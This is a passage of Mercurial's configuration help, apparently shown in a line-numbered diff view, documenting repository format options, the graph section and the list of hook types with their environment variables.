1013 upgrade the repository format to use `dirstate-tracked-hint`. This only
1013 upgrade the repository format to use `dirstate-tracked-hint`. This only
1014 triggers if a change is needed. This also applies to operations that would
1014 triggers if a change is needed. This also applies to operations that would
1015 have been read-only (like hg status).
1015 have been read-only (like hg status).
1016
1016
1017 If the repository cannot be locked, the automatic-upgrade operation will be
1017 If the repository cannot be locked, the automatic-upgrade operation will be
1018 skipped. The next operation will attempt it again.
1018 skipped. The next operation will attempt it again.
1019
1019
1020 This configuration will apply for moves in any direction, either adding the
1020 This configuration will apply for moves in any direction, either adding the
1021 `dirstate-tracked-hint` format if `format.use-dirstate-tracked-hint=yes` or
1021 `dirstate-tracked-hint` format if `format.use-dirstate-tracked-hint=yes` or
1022 removing the `dirstate-tracked-hint` requirement if
1022 removing the `dirstate-tracked-hint` requirement if
1023 `format.use-dirstate-tracked-hint=no`. So we recommend setting both this
1023 `format.use-dirstate-tracked-hint=no`. So we recommend setting both this
1024 value and `format.use-dirstate-tracked-hint` at the same time.
1024 value and `format.use-dirstate-tracked-hint` at the same time.
1025
1025
1026
1026
1027 ``use-dirstate-tracked-hint.automatic-upgrade-of-mismatching-repositories:quiet``
1027 ``use-dirstate-tracked-hint.automatic-upgrade-of-mismatching-repositories:quiet``
1028 Hide message when performing such automatic upgrade.
1028 Hide message when performing such automatic upgrade.
1029
1029
1030
1030
1031 ``use-persistent-nodemap``
1031 ``use-persistent-nodemap``
1032 Enable or disable the "persistent-nodemap" feature which improves
1032 Enable or disable the "persistent-nodemap" feature which improves
1033 performance if the Rust extensions are available.
1033 performance if the Rust extensions are available.
1034
1034
1035 The "persistent-nodemap" persist the "node -> rev" on disk removing the
1035 The "persistent-nodemap" persist the "node -> rev" on disk removing the
1036 need to dynamically build that mapping for each Mercurial invocation. This
1036 need to dynamically build that mapping for each Mercurial invocation. This
1037 significantly reduces the startup cost of various local and server-side
1037 significantly reduces the startup cost of various local and server-side
1038 operation for larger repositories.
1038 operation for larger repositories.
1039
1039
1040 The performance-improving version of this feature is currently only
1040 The performance-improving version of this feature is currently only
1041 implemented in Rust (see :hg:`help rust`), so people not using a version of
1041 implemented in Rust (see :hg:`help rust`), so people not using a version of
1042 Mercurial compiled with the Rust parts might actually suffer some slowdown.
1042 Mercurial compiled with the Rust parts might actually suffer some slowdown.
1043 For this reason, such versions will by default refuse to access repositories
1043 For this reason, such versions will by default refuse to access repositories
1044 with "persistent-nodemap".
1044 with "persistent-nodemap".
1045
1045
1046 This behavior can be adjusted via configuration: check
1046 This behavior can be adjusted via configuration: check
1047 :hg:`help config.storage.revlog.persistent-nodemap.slow-path` for details.
1047 :hg:`help config.storage.revlog.persistent-nodemap.slow-path` for details.
1048
1048
1049 Repositories with this on-disk format require Mercurial 5.4 or above.
1049 Repositories with this on-disk format require Mercurial 5.4 or above.
1050
1050
1051 By default this format variant is disabled if the fast implementation is not
1051 By default this format variant is disabled if the fast implementation is not
1052 available, and enabled by default if the fast implementation is available.
1052 available, and enabled by default if the fast implementation is available.
1053
1053
1054 To accomodate installations of Mercurial without the fast implementation,
1054 To accomodate installations of Mercurial without the fast implementation,
1055 you can downgrade your repository. To do so run the following command:
1055 you can downgrade your repository. To do so run the following command:
1056
1056
1057 $ hg debugupgraderepo \
1057 $ hg debugupgraderepo \
1058 --run \
1058 --run \
1059 --config format.use-persistent-nodemap=False \
1059 --config format.use-persistent-nodemap=False \
1060 --config storage.revlog.persistent-nodemap.slow-path=allow
1060 --config storage.revlog.persistent-nodemap.slow-path=allow
1061
1061
1062 ``use-share-safe``
1062 ``use-share-safe``
1063 Enforce "safe" behaviors for all "shares" that access this repository.
1063 Enforce "safe" behaviors for all "shares" that access this repository.
1064
1064
1065 With this feature, "shares" using this repository as a source will:
1065 With this feature, "shares" using this repository as a source will:
1066
1066
1067 * read the source repository's configuration (`<source>/.hg/hgrc`).
1067 * read the source repository's configuration (`<source>/.hg/hgrc`).
1068 * read and use the source repository's "requirements"
1068 * read and use the source repository's "requirements"
1069 (except the working copy specific one).
1069 (except the working copy specific one).
1070
1070
1071 Without this feature, "shares" using this repository as a source will:
1071 Without this feature, "shares" using this repository as a source will:
1072
1072
1073 * keep tracking the repository "requirements" in the share only, ignoring
1073 * keep tracking the repository "requirements" in the share only, ignoring
1074 the source "requirements", possibly diverging from them.
1074 the source "requirements", possibly diverging from them.
1075 * ignore source repository config. This can create problems, like silently
1075 * ignore source repository config. This can create problems, like silently
1076 ignoring important hooks.
1076 ignoring important hooks.
1077
1077
1078 Beware that existing shares will not be upgraded/downgraded, and by
1078 Beware that existing shares will not be upgraded/downgraded, and by
1079 default, Mercurial will refuse to interact with them until the mismatch
1079 default, Mercurial will refuse to interact with them until the mismatch
1080 is resolved. See :hg:`help config.share.safe-mismatch.source-safe` and
1080 is resolved. See :hg:`help config.share.safe-mismatch.source-safe` and
1081 :hg:`help config.share.safe-mismatch.source-not-safe` for details.
1081 :hg:`help config.share.safe-mismatch.source-not-safe` for details.
1082
1082
1083 Introduced in Mercurial 5.7.
1083 Introduced in Mercurial 5.7.
1084
1084
1085 Enabled by default in Mercurial 6.1.
1085 Enabled by default in Mercurial 6.1.
1086
1086
1087 ``use-share-safe.automatic-upgrade-of-mismatching-repositories``
1087 ``use-share-safe.automatic-upgrade-of-mismatching-repositories``
1088 When enabled, an automatic upgrade will be triggered when a repository format
1088 When enabled, an automatic upgrade will be triggered when a repository format
1089 does not match its `use-share-safe` config.
1089 does not match its `use-share-safe` config.
1090
1090
1091 This is an advanced behavior that most users will not need. We recommend you
1091 This is an advanced behavior that most users will not need. We recommend you
1092 don't use this unless you are a seasoned administrator of a Mercurial install
1092 don't use this unless you are a seasoned administrator of a Mercurial install
1093 base.
1093 base.
1094
1094
1095 Automatic upgrade means that any process accessing the repository will
1095 Automatic upgrade means that any process accessing the repository will
1096 upgrade the repository format to use `share-safe`. This only triggers if a
1096 upgrade the repository format to use `share-safe`. This only triggers if a
1097 change is needed. This also applies to operation that would have been
1097 change is needed. This also applies to operation that would have been
1098 read-only (like hg status).
1098 read-only (like hg status).
1099
1099
1100 If the repository cannot be locked, the automatic-upgrade operation will be
1100 If the repository cannot be locked, the automatic-upgrade operation will be
1101 skipped. The next operation will attempt it again.
1101 skipped. The next operation will attempt it again.
1102
1102
1103 This configuration will apply for moves in any direction, either adding the
1103 This configuration will apply for moves in any direction, either adding the
1104 `share-safe` format if `format.use-share-safe=yes` or removing the
1104 `share-safe` format if `format.use-share-safe=yes` or removing the
1105 `share-safe` requirement if `format.use-share-safe=no`. So we recommend
1105 `share-safe` requirement if `format.use-share-safe=no`. So we recommend
1106 setting both this value and `format.use-share-safe` at the same time.
1106 setting both this value and `format.use-share-safe` at the same time.
1107
1107
1108 ``use-share-safe.automatic-upgrade-of-mismatching-repositories:quiet``
1108 ``use-share-safe.automatic-upgrade-of-mismatching-repositories:quiet``
1109 Hide message when performing such automatic upgrade.
1109 Hide message when performing such automatic upgrade.
1110
1110
1111 ``usestore``
1111 ``usestore``
1112 Enable or disable the "store" repository format which improves
1112 Enable or disable the "store" repository format which improves
1113 compatibility with systems that fold case or otherwise mangle
1113 compatibility with systems that fold case or otherwise mangle
1114 filenames. Disabling this option will allow you to store longer filenames
1114 filenames. Disabling this option will allow you to store longer filenames
1115 in some situations at the expense of compatibility.
1115 in some situations at the expense of compatibility.
1116
1116
1117 Repositories with this on-disk format require Mercurial version 0.9.4.
1117 Repositories with this on-disk format require Mercurial version 0.9.4.
1118
1118
1119 Enabled by default.
1119 Enabled by default.
1120
1120
1121 ``sparse-revlog``
1121 ``sparse-revlog``
1122 Enable or disable the ``sparse-revlog`` delta strategy. This format improves
1122 Enable or disable the ``sparse-revlog`` delta strategy. This format improves
1123 delta re-use inside revlog. For very branchy repositories, it results in a
1123 delta re-use inside revlog. For very branchy repositories, it results in a
1124 smaller store. For repositories with many revisions, it also helps
1124 smaller store. For repositories with many revisions, it also helps
1125 performance (by using shortened delta chains.)
1125 performance (by using shortened delta chains.)
1126
1126
1127 Repositories with this on-disk format require Mercurial version 4.7
1127 Repositories with this on-disk format require Mercurial version 4.7
1128
1128
1129 Enabled by default.
1129 Enabled by default.
1130
1130
1131 ``revlog-compression``
1131 ``revlog-compression``
1132 Compression algorithm used by revlog. Supported values are `zlib` and
1132 Compression algorithm used by revlog. Supported values are `zlib` and
1133 `zstd`. The `zlib` engine is the historical default of Mercurial. `zstd` is
1133 `zstd`. The `zlib` engine is the historical default of Mercurial. `zstd` is
1134 a newer format that is usually a net win over `zlib`, operating faster at
1134 a newer format that is usually a net win over `zlib`, operating faster at
1135 better compression rates. Use `zstd` to reduce CPU usage. Multiple values
1135 better compression rates. Use `zstd` to reduce CPU usage. Multiple values
1136 can be specified, the first available one will be used.
1136 can be specified, the first available one will be used.
1137
1137
1138 On some systems, the Mercurial installation may lack `zstd` support.
1138 On some systems, the Mercurial installation may lack `zstd` support.
1139
1139
1140 Default is `zstd` if available, `zlib` otherwise.
1140 Default is `zstd` if available, `zlib` otherwise.
1141
1141
1142 ``bookmarks-in-store``
1142 ``bookmarks-in-store``
1143 Store bookmarks in .hg/store/. This means that bookmarks are shared when
1143 Store bookmarks in .hg/store/. This means that bookmarks are shared when
1144 using `hg share` regardless of the `-B` option.
1144 using `hg share` regardless of the `-B` option.
1145
1145
1146 Repositories with this on-disk format require Mercurial version 5.1.
1146 Repositories with this on-disk format require Mercurial version 5.1.
1147
1147
1148 Disabled by default.
1148 Disabled by default.
1149
1149
1150
1150
1151 ``graph``
1151 ``graph``
1152 ---------
1152 ---------
1153
1153
1154 Web graph view configuration. This section let you change graph
1154 Web graph view configuration. This section let you change graph
1155 elements display properties by branches, for instance to make the
1155 elements display properties by branches, for instance to make the
1156 ``default`` branch stand out.
1156 ``default`` branch stand out.
1157
1157
1158 Each line has the following format::
1158 Each line has the following format::
1159
1159
1160 <branch>.<argument> = <value>
1160 <branch>.<argument> = <value>
1161
1161
1162 where ``<branch>`` is the name of the branch being
1162 where ``<branch>`` is the name of the branch being
1163 customized. Example::
1163 customized. Example::
1164
1164
1165 [graph]
1165 [graph]
1166 # 2px width
1166 # 2px width
1167 default.width = 2
1167 default.width = 2
1168 # red color
1168 # red color
1169 default.color = FF0000
1169 default.color = FF0000
1170
1170
1171 Supported arguments:
1171 Supported arguments:
1172
1172
1173 ``width``
1173 ``width``
1174 Set branch edges width in pixels.
1174 Set branch edges width in pixels.
1175
1175
1176 ``color``
1176 ``color``
1177 Set branch edges color in hexadecimal RGB notation.
1177 Set branch edges color in hexadecimal RGB notation.
1178
1178
1179 ``hooks``
1179 ``hooks``
1180 ---------
1180 ---------
1181
1181
1182 Commands or Python functions that get automatically executed by
1182 Commands or Python functions that get automatically executed by
1183 various actions such as starting or finishing a commit. Multiple
1183 various actions such as starting or finishing a commit. Multiple
1184 hooks can be run for the same action by appending a suffix to the
1184 hooks can be run for the same action by appending a suffix to the
1185 action. Overriding a site-wide hook can be done by changing its
1185 action. Overriding a site-wide hook can be done by changing its
1186 value or setting it to an empty string. Hooks can be prioritized
1186 value or setting it to an empty string. Hooks can be prioritized
1187 by adding a prefix of ``priority.`` to the hook name on a new line
1187 by adding a prefix of ``priority.`` to the hook name on a new line
1188 and setting the priority. The default priority is 0.
1188 and setting the priority. The default priority is 0.
1189
1189
1190 Example ``.hg/hgrc``::
1190 Example ``.hg/hgrc``::
1191
1191
1192 [hooks]
1192 [hooks]
1193 # update working directory after adding changesets
1193 # update working directory after adding changesets
1194 changegroup.update = hg update
1194 changegroup.update = hg update
1195 # do not use the site-wide hook
1195 # do not use the site-wide hook
1196 incoming =
1196 incoming =
1197 incoming.email = /my/email/hook
1197 incoming.email = /my/email/hook
1198 incoming.autobuild = /my/build/hook
1198 incoming.autobuild = /my/build/hook
1199 # force autobuild hook to run before other incoming hooks
1199 # force autobuild hook to run before other incoming hooks
1200 priority.incoming.autobuild = 1
1200 priority.incoming.autobuild = 1
1201 ### control HGPLAIN setting when running autobuild hook
1201 ### control HGPLAIN setting when running autobuild hook
1202 # HGPLAIN always set (default from Mercurial 5.7)
1202 # HGPLAIN always set (default from Mercurial 5.7)
1203 incoming.autobuild:run-with-plain = yes
1203 incoming.autobuild:run-with-plain = yes
1204 # HGPLAIN never set
1204 # HGPLAIN never set
1205 incoming.autobuild:run-with-plain = no
1205 incoming.autobuild:run-with-plain = no
1206 # HGPLAIN inherited from environment (default before Mercurial 5.7)
1206 # HGPLAIN inherited from environment (default before Mercurial 5.7)
1207 incoming.autobuild:run-with-plain = auto
1207 incoming.autobuild:run-with-plain = auto
1208
1208
1209 Most hooks are run with environment variables set that give useful
1209 Most hooks are run with environment variables set that give useful
1210 additional information. For each hook below, the environment variables
1210 additional information. For each hook below, the environment variables
1211 it is passed are listed with names in the form ``$HG_foo``. The
1211 it is passed are listed with names in the form ``$HG_foo``. The
1212 ``$HG_HOOKTYPE`` and ``$HG_HOOKNAME`` variables are set for all hooks.
1212 ``$HG_HOOKTYPE`` and ``$HG_HOOKNAME`` variables are set for all hooks.
1213 They contain the type of hook which triggered the run and the full name
1213 They contain the type of hook which triggered the run and the full name
1214 of the hook in the config, respectively. In the example above, this will
1214 of the hook in the config, respectively. In the example above, this will
1215 be ``$HG_HOOKTYPE=incoming`` and ``$HG_HOOKNAME=incoming.email``.
1215 be ``$HG_HOOKTYPE=incoming`` and ``$HG_HOOKNAME=incoming.email``.
1216
1216
1217 .. container:: windows
1217 .. container:: windows
1218
1218
1219 Some basic Unix syntax can be enabled for portability, including ``$VAR``
1219 Some basic Unix syntax can be enabled for portability, including ``$VAR``
1220 and ``${VAR}`` style variables. A ``~`` followed by ``\`` or ``/`` will
1220 and ``${VAR}`` style variables. A ``~`` followed by ``\`` or ``/`` will
1221 be expanded to ``%USERPROFILE%`` to simulate a subset of tilde expansion
1221 be expanded to ``%USERPROFILE%`` to simulate a subset of tilde expansion
1222 on Unix. To use a literal ``$`` or ``~``, it must be escaped with a back
1222 on Unix. To use a literal ``$`` or ``~``, it must be escaped with a back
1223 slash or inside of a strong quote. Strong quotes will be replaced by
1223 slash or inside of a strong quote. Strong quotes will be replaced by
1224 double quotes after processing.
1224 double quotes after processing.
1225
1225
1226 This feature is enabled by adding a prefix of ``tonative.`` to the hook
1226 This feature is enabled by adding a prefix of ``tonative.`` to the hook
1227 name on a new line, and setting it to ``True``. For example::
1227 name on a new line, and setting it to ``True``. For example::
1228
1228
1229 [hooks]
1229 [hooks]
1230 incoming.autobuild = /my/build/hook
1230 incoming.autobuild = /my/build/hook
1231 # enable translation to cmd.exe syntax for autobuild hook
1231 # enable translation to cmd.exe syntax for autobuild hook
1232 tonative.incoming.autobuild = True
1232 tonative.incoming.autobuild = True
1233
1233
1234 ``changegroup``
1234 ``changegroup``
1235 Run after a changegroup has been added via push, pull or unbundle. The ID of
1235 Run after a changegroup has been added via push, pull or unbundle. The ID of
1236 the first new changeset is in ``$HG_NODE`` and last is in ``$HG_NODE_LAST``.
1236 the first new changeset is in ``$HG_NODE`` and last is in ``$HG_NODE_LAST``.
1237 The URL from which changes came is in ``$HG_URL``.
1237 The URL from which changes came is in ``$HG_URL``.
1238
1238
1239 ``commit``
1239 ``commit``
1240 Run after a changeset has been created in the local repository. The ID
1240 Run after a changeset has been created in the local repository. The ID
1241 of the newly created changeset is in ``$HG_NODE``. Parent changeset
1241 of the newly created changeset is in ``$HG_NODE``. Parent changeset
1242 IDs are in ``$HG_PARENT1`` and ``$HG_PARENT2``.
1242 IDs are in ``$HG_PARENT1`` and ``$HG_PARENT2``.
1243
1243
1244 ``incoming``
1244 ``incoming``
1245 Run after a changeset has been pulled, pushed, or unbundled into
1245 Run after a changeset has been pulled, pushed, or unbundled into
1246 the local repository. The ID of the newly arrived changeset is in
1246 the local repository. The ID of the newly arrived changeset is in
1247 ``$HG_NODE``. The URL that was source of the changes is in ``$HG_URL``.
1247 ``$HG_NODE``. The URL that was source of the changes is in ``$HG_URL``.
1248
1248
1249 ``outgoing``
1249 ``outgoing``
1250 Run after sending changes from the local repository to another. The ID of
1250 Run after sending changes from the local repository to another. The ID of
1251 first changeset sent is in ``$HG_NODE``. The source of operation is in
1251 first changeset sent is in ``$HG_NODE``. The source of operation is in
1252 ``$HG_SOURCE``. Also see :hg:`help config.hooks.preoutgoing`.
1252 ``$HG_SOURCE``. Also see :hg:`help config.hooks.preoutgoing`.
1253
1253
1254 ``post-<command>``
1254 ``post-<command>``
1255 Run after successful invocations of the associated command. The
1255 Run after successful invocations of the associated command. The
1256 contents of the command line are passed as ``$HG_ARGS`` and the result
1256 contents of the command line are passed as ``$HG_ARGS`` and the result
1257 code in ``$HG_RESULT``. Parsed command line arguments are passed as
1257 code in ``$HG_RESULT``. Parsed command line arguments are passed as
1258 ``$HG_PATS`` and ``$HG_OPTS``. These contain string representations of
1258 ``$HG_PATS`` and ``$HG_OPTS``. These contain string representations of
1259 the python data internally passed to <command>. ``$HG_OPTS`` is a
1259 the python data internally passed to <command>. ``$HG_OPTS`` is a
1260 dictionary of options (with unspecified options set to their defaults).
1260 dictionary of options (with unspecified options set to their defaults).
1261 ``$HG_PATS`` is a list of arguments. Hook failure is ignored.
1261 ``$HG_PATS`` is a list of arguments. Hook failure is ignored.
1262
1262
1263 ``fail-<command>``
1263 ``fail-<command>``
1264 Run after a failed invocation of an associated command. The contents
1264 Run after a failed invocation of an associated command. The contents
1265 of the command line are passed as ``$HG_ARGS``. Parsed command line
1265 of the command line are passed as ``$HG_ARGS``. Parsed command line
1266 arguments are passed as ``$HG_PATS`` and ``$HG_OPTS``. These contain
1266 arguments are passed as ``$HG_PATS`` and ``$HG_OPTS``. These contain
1267 string representations of the python data internally passed to
1267 string representations of the python data internally passed to
1268 <command>. ``$HG_OPTS`` is a dictionary of options (with unspecified
1268 <command>. ``$HG_OPTS`` is a dictionary of options (with unspecified
1269 options set to their defaults). ``$HG_PATS`` is a list of arguments.
1269 options set to their defaults). ``$HG_PATS`` is a list of arguments.
1270 Hook failure is ignored.
1270 Hook failure is ignored.
1271
1271
1272 ``pre-<command>``
1272 ``pre-<command>``
1273 Run before executing the associated command. The contents of the
1273 Run before executing the associated command. The contents of the
1274 command line are passed as ``$HG_ARGS``. Parsed command line arguments
1274 command line are passed as ``$HG_ARGS``. Parsed command line arguments
1275 are passed as ``$HG_PATS`` and ``$HG_OPTS``. These contain string
1275 are passed as ``$HG_PATS`` and ``$HG_OPTS``. These contain string
1276 representations of the data internally passed to <command>. ``$HG_OPTS``
1276 representations of the data internally passed to <command>. ``$HG_OPTS``
1277 is a dictionary of options (with unspecified options set to their
1277 is a dictionary of options (with unspecified options set to their
1278 defaults). ``$HG_PATS`` is a list of arguments. If the hook returns
1278 defaults). ``$HG_PATS`` is a list of arguments. If the hook returns
1279 failure, the command doesn't execute and Mercurial returns the failure
1279 failure, the command doesn't execute and Mercurial returns the failure
1280 code.
1280 code.
1281
1281
1282 ``prechangegroup``
1282 ``prechangegroup``
1283 Run before a changegroup is added via push, pull or unbundle. Exit
1283 Run before a changegroup is added via push, pull or unbundle. Exit
1284 status 0 allows the changegroup to proceed. A non-zero status will
1284 status 0 allows the changegroup to proceed. A non-zero status will
1285 cause the push, pull or unbundle to fail. The URL from which changes
1285 cause the push, pull or unbundle to fail. The URL from which changes
1286 will come is in ``$HG_URL``.
1286 will come is in ``$HG_URL``.
1287
1287
1288 ``precommit``
1288 ``precommit``
1289 Run before starting a local commit. Exit status 0 allows the
1289 Run before starting a local commit. Exit status 0 allows the
1290 commit to proceed. A non-zero status will cause the commit to fail.
1290 commit to proceed. A non-zero status will cause the commit to fail.
1291 Parent changeset IDs are in ``$HG_PARENT1`` and ``$HG_PARENT2``.
1291 Parent changeset IDs are in ``$HG_PARENT1`` and ``$HG_PARENT2``.
1292
1292
1293 ``prelistkeys``
1293 ``prelistkeys``
1294 Run before listing pushkeys (like bookmarks) in the
1294 Run before listing pushkeys (like bookmarks) in the
1295 repository. A non-zero status will cause failure. The key namespace is
1295 repository. A non-zero status will cause failure. The key namespace is
1296 in ``$HG_NAMESPACE``.
1296 in ``$HG_NAMESPACE``.
1297
1297
1298 ``preoutgoing``
1298 ``preoutgoing``
1299 Run before collecting changes to send from the local repository to
1299 Run before collecting changes to send from the local repository to
1300 another. A non-zero status will cause failure. This lets you prevent
1300 another. A non-zero status will cause failure. This lets you prevent
1301 pull over HTTP or SSH. It can also prevent propagating commits (via
1301 pull over HTTP or SSH. It can also prevent propagating commits (via
1302 local pull, push (outbound) or bundle commands), but not completely,
1302 local pull, push (outbound) or bundle commands), but not completely,
1303 since you can just copy files instead. The source of operation is in
1303 since you can just copy files instead. The source of operation is in
1304 ``$HG_SOURCE``. If "serve", the operation is happening on behalf of a remote
1304 ``$HG_SOURCE``. If "serve", the operation is happening on behalf of a remote
1305 SSH or HTTP repository. If "push", "pull" or "bundle", the operation
1305 SSH or HTTP repository. If "push", "pull" or "bundle", the operation
1306 is happening on behalf of a repository on same system.
1306 is happening on behalf of a repository on same system.
1307
1307
1308 ``prepushkey``
1308 ``prepushkey``
1309 Run before a pushkey (like a bookmark) is added to the
1309 Run before a pushkey (like a bookmark) is added to the
1310 repository. A non-zero status will cause the key to be rejected. The
1310 repository. A non-zero status will cause the key to be rejected. The
1311 key namespace is in ``$HG_NAMESPACE``, the key is in ``$HG_KEY``,
1311 key namespace is in ``$HG_NAMESPACE``, the key is in ``$HG_KEY``,
1312 the old value (if any) is in ``$HG_OLD``, and the new value is in
1312 the old value (if any) is in ``$HG_OLD``, and the new value is in
1313 ``$HG_NEW``.
1313 ``$HG_NEW``.
1314
1314
1315 ``pretag``
1315 ``pretag``
1316 Run before creating a tag. Exit status 0 allows the tag to be
1316 Run before creating a tag. Exit status 0 allows the tag to be
1317 created. A non-zero status will cause the tag to fail. The ID of the
1317 created. A non-zero status will cause the tag to fail. The ID of the
1318 changeset to tag is in ``$HG_NODE``. The name of tag is in ``$HG_TAG``. The
1318 changeset to tag is in ``$HG_NODE``. The name of tag is in ``$HG_TAG``. The
1319 tag is local if ``$HG_LOCAL=1``, or in the repository if ``$HG_LOCAL=0``.
1319 tag is local if ``$HG_LOCAL=1``, or in the repository if ``$HG_LOCAL=0``.
1320
1320
1321 ``pretxnopen``
1321 ``pretxnopen``
1322 Run before any new repository transaction is open. The reason for the
1322 Run before any new repository transaction is open. The reason for the
1323 transaction will be in ``$HG_TXNNAME``, and a unique identifier for the
1323 transaction will be in ``$HG_TXNNAME``, and a unique identifier for the
1324 transaction will be in ``$HG_TXNID``. A non-zero status will prevent the
1324 transaction will be in ``$HG_TXNID``. A non-zero status will prevent the
1325 transaction from being opened.
1325 transaction from being opened.
1326
1326
1327 ``pretxnclose``
1327 ``pretxnclose``
1328 Run right before the transaction is actually finalized. Any repository change
1328 Run right before the transaction is actually finalized. Any repository change
1329 will be visible to the hook program. This lets you validate the transaction
1329 will be visible to the hook program. This lets you validate the transaction
1330 content or change it. Exit status 0 allows the commit to proceed. A non-zero
1330 content or change it. Exit status 0 allows the commit to proceed. A non-zero
1331 status will cause the transaction to be rolled back. The reason for the
1331 status will cause the transaction to be rolled back. The reason for the
1332 transaction opening will be in ``$HG_TXNNAME``, and a unique identifier for
1332 transaction opening will be in ``$HG_TXNNAME``, and a unique identifier for
1333 the transaction will be in ``$HG_TXNID``. The rest of the available data will
1333 the transaction will be in ``$HG_TXNID``. The rest of the available data will
1334 vary according the transaction type. Changes unbundled to the repository will
1334 vary according the transaction type. Changes unbundled to the repository will
1335 add ``$HG_URL`` and ``$HG_SOURCE``. New changesets will add ``$HG_NODE`` (the
1335 add ``$HG_URL`` and ``$HG_SOURCE``. New changesets will add ``$HG_NODE`` (the
1336 ID of the first added changeset), ``$HG_NODE_LAST`` (the ID of the last added
1336 ID of the first added changeset), ``$HG_NODE_LAST`` (the ID of the last added
1337 changeset). Bookmark and phase changes will set ``$HG_BOOKMARK_MOVED`` and
1337 changeset). Bookmark and phase changes will set ``$HG_BOOKMARK_MOVED`` and
1338 ``$HG_PHASES_MOVED`` to ``1`` respectively. The number of new obsmarkers, if
1338 ``$HG_PHASES_MOVED`` to ``1`` respectively. The number of new obsmarkers, if
1339 any, will be in ``$HG_NEW_OBSMARKERS``, etc.
1339 any, will be in ``$HG_NEW_OBSMARKERS``, etc.
1340
1340
1341 ``pretxnclose-bookmark``
1341 ``pretxnclose-bookmark``
1342 Run right before a bookmark change is actually finalized. Any repository
1342 Run right before a bookmark change is actually finalized. Any repository
1343 change will be visible to the hook program. This lets you validate the
1343 change will be visible to the hook program. This lets you validate the
1344 transaction content or change it. Exit status 0 allows the commit to
1344 transaction content or change it. Exit status 0 allows the commit to
1345 proceed. A non-zero status will cause the transaction to be rolled back.
1345 proceed. A non-zero status will cause the transaction to be rolled back.
1346 The name of the bookmark will be available in ``$HG_BOOKMARK``, the new
1346 The name of the bookmark will be available in ``$HG_BOOKMARK``, the new
1347 bookmark location will be available in ``$HG_NODE`` while the previous
1347 bookmark location will be available in ``$HG_NODE`` while the previous
1348 location will be available in ``$HG_OLDNODE``. In case of a bookmark
1348 location will be available in ``$HG_OLDNODE``. In case of a bookmark
1349 creation ``$HG_OLDNODE`` will be empty. In case of deletion ``$HG_NODE``
1349 creation ``$HG_OLDNODE`` will be empty. In case of deletion ``$HG_NODE``
1350 will be empty.
1350 will be empty.
1351 In addition, the reason for the transaction opening will be in
1351 In addition, the reason for the transaction opening will be in
1352 ``$HG_TXNNAME``, and a unique identifier for the transaction will be in
1352 ``$HG_TXNNAME``, and a unique identifier for the transaction will be in
1353 ``$HG_TXNID``.
1353 ``$HG_TXNID``.
1354
1354
1355 ``pretxnclose-phase``
1355 ``pretxnclose-phase``
1356 Run right before a phase change is actually finalized. Any repository change
1356 Run right before a phase change is actually finalized. Any repository change
1357 will be visible to the hook program. This lets you validate the transaction
1357 will be visible to the hook program. This lets you validate the transaction
1358 content or change it. Exit status 0 allows the commit to proceed. A non-zero
1358 content or change it. Exit status 0 allows the commit to proceed. A non-zero
1359 status will cause the transaction to be rolled back. The hook is called
1359 status will cause the transaction to be rolled back. The hook is called
1360 multiple times, once for each revision affected by a phase change.
1360 multiple times, once for each revision affected by a phase change.
1361 The affected node is available in ``$HG_NODE``, the phase in ``$HG_PHASE``
1361 The affected node is available in ``$HG_NODE``, the phase in ``$HG_PHASE``
1362 while the previous ``$HG_OLDPHASE``. In case of new node, ``$HG_OLDPHASE``
1362 while the previous ``$HG_OLDPHASE``. In case of new node, ``$HG_OLDPHASE``
1363 will be empty. In addition, the reason for the transaction opening will be in
1363 will be empty. In addition, the reason for the transaction opening will be in
1364 ``$HG_TXNNAME``, and a unique identifier for the transaction will be in
1364 ``$HG_TXNNAME``, and a unique identifier for the transaction will be in
1365 ``$HG_TXNID``. The hook is also run for newly added revisions. In this case
1365 ``$HG_TXNID``. The hook is also run for newly added revisions. In this case
1366 the ``$HG_OLDPHASE`` entry will be empty.
1366 the ``$HG_OLDPHASE`` entry will be empty.
1367
1367
1368 ``txnclose``
1368 ``txnclose``
1369 Run after any repository transaction has been committed. At this
1369 Run after any repository transaction has been committed. At this
1370 point, the transaction can no longer be rolled back. The hook will run
1370 point, the transaction can no longer be rolled back. The hook will run
1371 after the lock is released. See :hg:`help config.hooks.pretxnclose` for
1371 after the lock is released. See :hg:`help config.hooks.pretxnclose` for
1372 details about available variables.
1372 details about available variables.
1373
1373
1374 ``txnclose-bookmark``
1374 ``txnclose-bookmark``
1375 Run after any bookmark change has been committed. At this point, the
1375 Run after any bookmark change has been committed. At this point, the
1376 transaction can no longer be rolled back. The hook will run after the lock
1376 transaction can no longer be rolled back. The hook will run after the lock
1377 is released. See :hg:`help config.hooks.pretxnclose-bookmark` for details
1377 is released. See :hg:`help config.hooks.pretxnclose-bookmark` for details
1378 about available variables.
1378 about available variables.
1379
1379
1380 ``txnclose-phase``
1380 ``txnclose-phase``
1381 Run after any phase change has been committed. At this point, the
1381 Run after any phase change has been committed. At this point, the
1382 transaction can no longer be rolled back. The hook will run after the lock
1382 transaction can no longer be rolled back. The hook will run after the lock
1383 is released. See :hg:`help config.hooks.pretxnclose-phase` for details about
1383 is released. See :hg:`help config.hooks.pretxnclose-phase` for details about
1384 available variables.
1384 available variables.
1385
1385
1386 ``txnabort``
1386 ``txnabort``
1387 Run when a transaction is aborted. See :hg:`help config.hooks.pretxnclose`
1387 Run when a transaction is aborted. See :hg:`help config.hooks.pretxnclose`
1388 for details about available variables.
1388 for details about available variables.
1389
1389
1390 ``pretxnchangegroup``
1390 ``pretxnchangegroup``
1391 Run after a changegroup has been added via push, pull or unbundle, but before
1391 Run after a changegroup has been added via push, pull or unbundle, but before
1392 the transaction has been committed. The changegroup is visible to the hook
1392 the transaction has been committed. The changegroup is visible to the hook
1393 program. This allows validation of incoming changes before accepting them.
1393 program. This allows validation of incoming changes before accepting them.
1394 The ID of the first new changeset is in ``$HG_NODE`` and last is in
1394 The ID of the first new changeset is in ``$HG_NODE`` and last is in
1395 ``$HG_NODE_LAST``. Exit status 0 allows the transaction to commit. A non-zero
1395 ``$HG_NODE_LAST``. Exit status 0 allows the transaction to commit. A non-zero
1396 status will cause the transaction to be rolled back, and the push, pull or
1396 status will cause the transaction to be rolled back, and the push, pull or
1397 unbundle will fail. The URL that was the source of changes is in ``$HG_URL``.
1397 unbundle will fail. The URL that was the source of changes is in ``$HG_URL``.
1398
1398
1399 ``pretxncommit``
1399 ``pretxncommit``
1400 Run after a changeset has been created, but before the transaction is
1400 Run after a changeset has been created, but before the transaction is
1401 committed. The changeset is visible to the hook program. This allows
1401 committed. The changeset is visible to the hook program. This allows
1402 validation of the commit message and changes. Exit status 0 allows the
1402 validation of the commit message and changes. Exit status 0 allows the
